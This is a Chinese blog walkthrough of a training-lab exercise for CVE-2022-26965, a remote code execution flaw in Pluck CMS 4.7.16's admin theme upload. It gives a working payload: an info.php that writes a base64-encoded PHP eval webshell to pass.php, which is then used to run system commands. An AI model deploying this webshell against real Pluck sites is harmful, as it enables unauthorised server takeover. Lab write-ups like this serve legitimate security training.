春秋云境 CVE-2022-26965

攻略

在Pluck 4.7.16中,管理员用户可以在/admin.php使用主题上传功能。action=themeinstall来执行远程代码执行。

https://nvd.nist.gov/vuln/detail/CVE-2022-26965
https://packetstormsecurity.com/files/166336/Pluck-CMS-4.7.16-Shell-Upload.html
关键字:
Pluck-CMS-Pluck-4.7.16-Theme-Upload-Remote-Code-Execution-Authenticated

进入靶场点击下方admin登录

尝试admin发现登陆成功

拼接/admin.php?action=themeinstall

发现上传点,

上传发现提示上传不是合适的文件

再搜一搜,发现GitHub上解释说需要一个zip主题。

https://blog.csdn.net/weixin_47598409/article/details/114788419

需要将主题中的info.php文件修改,再打包成zip再上传,内容如下,然后进行压缩,因为这个主题上传只允许压缩包

<?php file_put_contents('pass.php',base64_decode('PD9waHAgQGV2YWwoJF9HRVRbJ3Bhc3MnXSk7Pz4='));?>

解释一下file_put_contents
file_put_contents ——— 将一个字符串写入文件的函数
与依次调用 fopen(),fwrite()以及 fclose() 功能一样。使用方法如下:

file_put_contents(file,data,mode,context)

所以info.php文件里面写的就是当读取了info.php就会自动执行file_put_contents 的内容

解析:

<?php @eval($_GET['pass']);?>  base64编码为PD9waHAgQGV2YWwoJF9HRVRbJ3Bhc3MnXSk7Pz4=
file_put_contents函数把一个字符串写入文件中。与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
使用GET的原因:
_GET是一个数组
_GET的作用域是超全局,不需在脚本内部定义或初始化,即可使用
接收从浏览器客户端GET方式(URL中)传递到服务器的参数
GET传参的参数名做_GET数组的key,参数值做为数组的value
GET传参时,直接将参数拼接到URL中即可

注意:压缩包里的文件名必须是info.php

在根目录输入pass.php,一直跳转。输入如下则发现可以命令执行

/pass.php?pass=phpinfo();

PHP里面执行命令是system()函数

/pass.php?pass=system('ls');

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值